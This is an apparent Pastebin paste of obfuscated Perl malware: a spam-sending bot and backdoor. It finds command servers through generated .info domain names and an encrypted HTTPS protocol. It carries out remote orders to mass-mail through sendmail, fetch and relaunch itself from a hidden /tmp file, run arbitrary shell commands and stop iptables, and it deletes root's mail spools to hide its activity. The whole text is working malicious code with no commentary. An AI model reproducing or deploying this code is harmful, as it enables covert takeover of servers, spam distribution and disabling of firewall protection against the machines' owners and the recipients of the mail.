Guest User

Untitled

a guest
Mar 15th, 2012
337
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 9.48 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use strict;use Socket;use CGI;srand(time ^ $$ ^ unpack "%L*", `ps axww | gzip`);$SIG{PIPE}=sub {die "Broken pipe"};$ENV{PATH}=$ENV{PATH}.":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; my $i5mk = ($< == 0); my $ha3c = ((getpwuid($>))[0]); my $b57i = 0; $b57i = length($ARGV[0]) if ($ARGV[0] =~ /^ +$/); my $k2df = int(rand(2147483647)); my ($ii1p, $g651, $ed90); my $cnik = 443; my $id8k = "/b/index.php";my $jdpm='/tmp/...';my $h8h1=0;my $f377=0;my $h788=0;my $d1m7=0;my $cnon=0;my $iocp=0;my $c84a=50;my $p="1234567890";my $ch4p;my $jdmk="sendmail";my $c1eh;my $k1a3;my %cmp4;my $h7on=27;$cmp4{'d_v'}=$h7on;$cmp4{'d_w'}=$ha3c;$cmp4{'d_rb'}=$b57i;$cmp4{'d_pi'}=$$;$cmp4{'d_iv'}=$];sub aam{print '['.localtime().'] ';print @_;}sub aah{return 0 if !open(SIGNFH, ">$jdpm");return 0 if !flock(SIGNFH, 2 | 4);return 1;}sub aap{my $eaoo=shift;my $in7h=shift;my $gle5=shift;my $kf33=shift;my $k65l=shift;my $hhoe=$eaoo->{'name'};my $j9ej=$eaoo->{'addr'};my $feib=ab2(4);$kf33=~s/\[\[firstname\]\]/$hhoe/g;$kf33=~s/\[\[id\]\]/$j9ej/g;$kf33=~s/\[\[count\]\]/$k65l/g;$kf33=~s/\[\[rand\]\]/$feib/g;$gle5=~s/\[\[firstname\]\]/$hhoe/g;$gle5=~s/\[\[id\]\]/$j9ej/g;$gle5=~s/\[\[count\]\]/$k65l/g;$gle5=~s/\[\[rand\]\]/$feib/g;my $ip30="From: $in7h|To: ".($hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej")."|Subject: $gle5";eval{open SENDMAIL, "| $jdmk -t";print SENDMAIL "From: $in7h\n";print SENDMAIL "To: ".($hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej")."\n";print SENDMAIL "Subject: $gle5\n";print SENDMAIL "$kf33";close SENDMAIL;};if($@){my $cka4=$@;chomp $cka4;return 0;}return 1;}sub aak{my $k811=shift;my $jjho=shift;my @iheh=@$jjho;my $in7h=shift @iheh;my $gle5=shift @iheh;my $kf33;while(scalar(@iheh)){my $kh8m=shift @iheh;if($kh8m eq $k811){last;}$kf33 .=$kh8m."\n"; } my @ag4c; while (scalar(@iheh)) { my $eaoo = {}; my $kh8m = shift @iheh; if ($kh8m =~ /^(.*)\t(.+)$/) { $eaoo->{'addr'}=$2;$eaoo->{'name'}=$1;}else{$eaoo->{'addr'}=$kh8m;}push @ag4c, $eaoo if($eaoo->{'addr'});}for(my $i=0;$i<scalar(@ag4c);){if(aap($ag4c[$i], $in7h, $gle5, $kf33, $i)){$h788++;$d1m7++;}else{$cnon++;$iocp++;}$i++;}if($i5mk){`rm -f  /var/mail/root /var/spool/mail/root /var/mail/mail /var/spool/mail/mail`;}`rm -f ~/dead.letter`;}sub aae{my $c056=sprintf($k1a3." | grep -ci '<html'", "https://accounts.google.com/ServiceLogin?service=mail");my($ieha)=`$c056`;chomp $ieha;return $ieha;}sub ab7{if($c1eh eq "wget"){my($d4o0)=`wget --version | head -n1 | grep -o "\\.[0-9]*" | grep -o "[0-9]*\$"`;chomp $d4o0;$d4o0=int($d4o0);$k1a3="wget -q -O - -t 1 -T 60 ";$k1a3 .="--no-check-certificate " if($d4o0 > 9);$k1a3 .='"%s"';}elsif($c1eh eq "curl"){$k1a3='curl -s -k --max-time 60 "%s"';}elsif($c1eh eq "fetch"){$k1a3='fetch -T 60 -q -o - "%s"';}}sub ab0{my @kh24=('wget', 'curl', 'fetch');undef $c1eh;foreach my $jjaj(@kh24){if($ch4p){my $c31k=`which $jjaj`; next if ($c31k !~ /^\//); } $c1eh = $jjaj; ab7(); if (!aae()) { undef $c1eh; next; } last; } if (!$c1eh) { $c1eh = "wget";ab7();}$cmp4{'d_br'}=$c1eh;}my $jf8c=0;sub ab5{return if(time() - $jf8c < 3600);$jf8c=time();$ch4p=`which which | grep -v alias | sed -e 's/^[[:space:]]*//'`;ab0();ab1();my $d2fa=`ps -xo command | grep -v grep | grep postfix/master | wc -l | sed -e 's/^[[:space:]]*//'`;chomp $d2fa;if($d2fa){$cmp4{'d_ma'}='postfix';if($ch4p){$d2fa=`which sendmail.postfix`; chomp $d2fa; $jdmk = $d2fa if ($d2fa =~ /^\/.*aap.postfix$/); } } else { $cmp4{'d_ma'}='sendmail';if($i5mk){my $k648=`service sendmail status`; chomp $k648; if ($k648 =~ /^aap is stopped/) { `service sendmail start`;}}}$cmp4{'d_mc'}=$jdmk;}sub ab1{my $go98='sendmail';if($ch4p){my $c0k3=`which $go98`; chomp $c0k3; if ($c0k3 =~ /^(\/[^ ]+)/) { $jdmk = $1; return 1; } } my @i1bb = split /\n/, `locate $go98 | head -n1000`;push @i1bb, split /\n/, `find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $go98`; chomp @i1bb; my @din4; foreach my $f2pe (@i1bb) { next if (-d $f2pe); next if (! -x $f2pe); next if ($f2pe =~ /\.so$/); if ($f2pe =~ /bin\// && $f2pe =~ /$go98$/) { $jdmk = $f2pe; return 1; } push (@din4,$f2pe); } foreach my $f2pe (@din4) { if ($f2pe =~ /bin\//) { $jdmk = $f2pe; return 1; } } foreach my $f2pe (@din4) { if ($f2pe =~ /$go98$/) { $jdmk = $f2pe; return 1; } } return 0; } sub aac { my $kh8m = shift; my $jnh6 = shift; if ($jnh6 =~ /([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/) { $jnh6 = ($1<<24)+($2<<16)+($3<<8)+($4); } else { $jnh6 = int($jnh6); } my @b0hd; $b0hd[0] = ((($jnh6&0xFF000000)>>24)+15)%256; $b0hd[1] = ((($jnh6&0x00FF0000)>>16)+13)%256; $b0hd[2] = ((($jnh6&0x0000FF00)>>8)+52)%256; $b0hd[3] = ((($jnh6&0x000000FF))+71)%256; my $d8lj; for (my $i = 0; $i < length($kh8m); $i++) { my $flkh = ord(substr ($kh8m, $i, 1)); my $d = int($flkh^$b0hd[$i%4]); $d8lj .= sprintf("%02x", $d); $b0hd[($i+1)%4] = ($b0hd[($i+1)%4]+$d)%256; } return $d8lj; } sub aag { my $kh8m = shift; my $jnh6 = shift; if ($jnh6 =~ /([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/) { $jnh6 = ($1<<24)+($2<<16)+($3<<8)+($4); } else { $jnh6 = int($jnh6); } my @b0hd; $b0hd[0] = ((($jnh6&0xFF000000)>>24)+15)%256; $b0hd[1] = ((($jnh6&0x00FF0000)>>16)+13)%256; $b0hd[2] = ((($jnh6&0x0000FF00)>>8)+52)%256; $b0hd[3] = ((($jnh6&0x000000FF))+71)%256; my $d8lj; for (my $i = 0; $i < length($kh8m)/2; $i++) { my $flkh = hex(substr ($kh8m, $i*2, 2)); $b0hd[($i+1)%4] = ($b0hd[($i+1)%4]+$flkh)%256; $d8lj .= chr($flkh^$b0hd[$i%4]); } return $d8lj; } sub ab2 { my $an8o=shift; my @bo99=('a'..'z');my $b01g;foreach(1..$an8o){$b01g.=$bo99[rand @bo99];}return $b01g;}sub aaj{my $a=shift;my $d8lj=0;$d8lj +=(ord(substr($a,3,1)) & 0xFF);$d8lj +=(ord(substr($a,2,1)) & 0xFF) << 8;$d8lj +=(ord(substr($a,1,1)) & 0xFF) << 16;$d8lj +=(ord(substr($a,0,1)) & 0xFF) << 24;return $d8lj;}sub ab8{my $ii1p=shift;my $bf9d=inet_aton($ii1p);return(defined $bf9d)?inet_ntoa($bf9d):undef;}sub ab6{my $g12g=shift;my $jjaj=sprintf($k1a3, $g12g);my @d8lj=`$jjaj`;chomp @d8lj;return @d8lj;}sub aaf{my $g12g=shift;my $dja1=shift;if($c1eh eq "wget"){`wget -q "$g12g" -O "$dja1"`;}elsif($c1eh eq "curl"){`curl "$g12g" > "$dja1"`;}elsif($c1eh eq "fetch"){`fetch -o "$dja1" "$g12g"`;}}my $d5cm=0;my $c4l6=0;my $jp2b;my @jbec=();sub ab4{my $g651=$cnik;undef $jp2b;return($jp2b, $g651) if(aao($jbec[$d5cm], $g651));my $ef8i=$d5cm;for($d5cm=0;$d5cm < 10;$d5cm++){next if($ef8i==$d5cm);return($jp2b, $g651) if(aao($jbec[$d5cm], $g651));}my @p=split '',$p;my $f92f=$p[1].$p[9];$f92f=$f92f.$p[7].'.'.$f92f;$f92f='.'.$f92f;$f92f='.'.$p[1].$p[2].$f92f;$f92f=$p[8].$p[3].$f92f;return($f92f, $g651) if(aad($f92f, $g651));$c4l6++;return undef;}sub aai{($ii1p, $g651)=ab4();$cmp4{'d_fd'}=$ii1p;$cmp4{'d_fi'}=$ed90;$cmp4{'d_fp'}=$g651;}sub aao{my $ii1p=shift;my $g651=shift;my $cicb="www.".$ii1p;my $i163=aaj(inet_aton($cicb));if($i163){my $g40p=ab2(10).".".$ii1p;my $afnm=aaj(inet_aton($g40p));if($afnm &&($afnm==$i163+1)){return aad($g40p, $g651);}}return 0;}sub aad{$jp2b=shift;my $g651=shift;my $dn5e=int(rand(2147483647));my $jnh6=int(rand(2147483647));$ed90=ab8($jp2b);my $bl2i=$dn5e."*".$k2df."*".$jnh6;my $ge5e=aac($bl2i, $ed90);my $g12g="https://$jp2b:$g651/$id8k?id=$ge5e&check=1"; my @iheh = ab6($g12g); for (my $i=0; $i<scalar(@iheh);$i++) { $iheh[$i] = aag($iheh[$i], $jnh6); } my $gbb2 = shift @iheh; if ($gbb2 =~ /^SUCCESS$/) { $c4l6 = 0; return 1; } return 0; } sub ab3 { my $jnh6 = shift; my $dn5e = shift; my $e8a4; foreach my $f (keys %cmp4) { if ($f =~ /^d_(.+)$/) { my $hhoe = $1; $e8a4 .= ($e8a4?"|":"")."$hhoe=".$cmp4{$f};}}$e8a4="$dn5e*$e8a4" if($dn5e);return aac($e8a4, $jnh6);}my $hiki;sub aan{my $bpdp=shift || time || 4357;my @a=();for(1..10000){use integer;push @a, $bpdp & 0x7fffffff;$bpdp *=69069;}$hiki={offset=> 0, array=> \@a}}sub aal{my $k7b5=shift || 1.0;aan() unless defined $hiki;$hiki->{offset}=($hiki->{offset}+ 1) % 10000;my $gjc0=$hiki->{offset};my $a=$hiki->{array};$$a[$gjc0]=($$a[($gjc0 - 471) % 10000] ^ $$a[($gjc0 - 1586) % 10000] ^ $$a[($gjc0 - 6988) % 10000] ^ $$a[($gjc0 - 9689) % 10000]);return $$a[$gjc0] * $k7b5 /(2**31);}sub aab{my $an8o=10;my @bo99=('a'..'z');aan(123987);my $b01g;for(my $i=-3;$i<$c84a;$i++){$b01g="";foreach(1..$an8o){$b01g.=$bo99[int(aal(scalar(@bo99)))];}if($i >=0){my $i683=$b01g.".info";push @jbec, $i683;}}}if(!aah()){exit;}aab();my $hh09=0;while(1){my $gbb2;my @iheh;ab5();aai() if(!$ii1p || !$g651);if(!$ii1p || !$g651){if($c4l6 >=24){last;}sleep 3600;next;}my $dn5e=int(rand(2147483647));my $e3le=int(rand(2147483647));my $jnh6=int(rand(2147483647));my $bl2i=$dn5e."*".$k2df."*".$jnh6;my $ge5e=aac($bl2i, $ed90);my $g12g="https://$ii1p:$g651/$id8k?id=$ge5e";$g12g .="&sent=$h788";$g12g .="&notsent=$cnon";my $c9hl=aac($e3le."*".$ha3c, $ed90);if($h8h1){$g12g .="&unknown=".CGI::escape($h8h1);$h8h1=0;}if($f377){$g12g .="&testsend=1";$f377=0;}$g12g .="&stat=".ab3($ed90, $e3le);@iheh=ab6($g12g);for(my $i=0;$i<scalar(@iheh);$i++){$iheh[$i]=aag($iheh[$i], $jnh6);}$gbb2=shift @iheh;if($gbb2){$h788=0;$cnon=0;$hh09=0;}else{$hh09++;if($hh09 > 3){$hh09=0;undef($ii1p);undef($g651);}$gbb2="SLEEP 60"; } if ($gbb2 =~ /^SLEEP ([0-9]+)$/) { sleep $1; next; } elsif ($gbb2 =~ /^RELOAD (.*)$/) { aaf($1, "/tmp/ ");close(SIGNFH);system('cd /tmp; nohup perl " " "   " &');sleep 5;`rm -f "/tmp/ " /tmp/nohup.out`; last; } elsif ($gbb2 =~ /^KILL$/) { last; } elsif ($gbb2 =~ /^SEND ([a-zA-Z0-9]+)$/) { aak($1, \@iheh); undef @iheh; sleep 1; next; } elsif ($gbb2 =~ /^TESTSEND ([a-zA-Z0-9]+)$/) { aak($1, \@iheh); undef @iheh; $f377 = 1; sleep 1; next; } elsif ($gbb2 =~ /^EXECUTE (.*)$/) { qx($1); next; } elsif ($gbb2 =~ /^START SENDMAIL$/) { `service sendmail start`; next; } elsif ($gbb2 =~ /^STOP IPTABLES$/) { `service iptables stop`;next;}$h8h1=$gbb2;sleep 30;if(!aad($ii1p, $g651)){undef($ii1p);undef($g651);}}__END__
Advertisement
Add Comment
Please, Sign In to add comment